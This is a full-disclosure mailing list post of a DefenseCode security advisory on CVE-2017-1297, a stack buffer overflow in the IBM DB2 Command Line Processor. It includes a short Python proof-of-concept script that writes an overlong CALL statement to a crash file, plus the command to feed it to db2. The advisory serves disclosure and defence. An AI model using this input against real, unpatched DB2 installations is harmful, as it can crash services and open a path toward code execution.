full-disclosure - [FD] DefenseCode Security Advisory: IBM DB2 Command Line Processor Buffer Overflow

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Message-ID: <17b4b536-3506-9b84-7322-7422ece9e052@defensecode.com>
Date: Mon, 26 Jun 2017 13:21:29 +0200
From: DefenseCode <defensecode@...ensecode.com>
To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org
Subject: [FD] DefenseCode Security Advisory: IBM DB2 Command Line Processor
 Buffer Overflow

           DefenseCode Security Advisory
    IBM DB2 Command Line Processor Buffer Overflow

Advisory ID: DC-2017-04-002
Advisory Title: IBM DB2 Command Line Processor Buffer Overflow
Advisory URL:
http://www.defensecode.com/advisories/IBM_DB2_Command_Line_Processor_Buffer_Overflow.pdf
Software: IBM DB2
Version: V9.7, V10.1, V10.5 and V11.1 on all platforms
Vendor Status: Vendor Contacted / Fixed (CVE-2017-1297)
Release Date: 26.06.2017
Risk: High

1. General Overview
===================
IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) Command
Line Process (CLP) is vulnerable to a stack based buffer overflow, caused
by improper bounds checking which could allow an attacker to execute
arbitrary code. The vulnerability is triggered by providing an overly
long procedure name inside a CALL statement.

2. Software Overview
===================
DB2 is a database product from IBM. It is a Relational Database Management
System. DB2 is designed to store, analyze and retrieve the data efficiently.
DB2 currently supports Linux, UNIX and Windows platforms.

db2bp is a persistent background process for the DB2 Command Line
Processor,
and it is the process which actually connects to the database.

3. Brief Vulnerability Description
==================================
By providing a specially crafted command file to the db2 CLP utility, it is
possible to cause a buffer overflow and possibly hijack the execution flow
of the program. Crafted file contains a CALL statement with an overly long
procedure parameter.

3.1 Proof of Concept

The following python script will generate a proof of concept .sql crash
test
file that can be used to verify the vulnerability:

-------
#!/usr/bin/python

load_overflow = 'A' * 1000
statement = "CALL " + load_overflow + ";"

crash_file = open("crash.sql", "w")
crash_file.write(statement)
crash_file.close()
-------

PoC usage: db2 -f crash.sql

4. Credits
==========
Vulnerability discovered by Leon Juranic, further analysis by Bosko
Stankovic.

5. About DefenseCode
================================
DefenseCode L.L.C. delivers products and services designed to analyze
and test
web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing,
WhiteBox
Testing) solution for performing extensive security audits of
application source
code. ThunderScan performs fast and accurate analyses of large and complex
source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing,
BlackBox
Testing) solution for comprehensive security audits of active web
applications.
WebScanner will test a website's security by carrying out a large number of
attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com/

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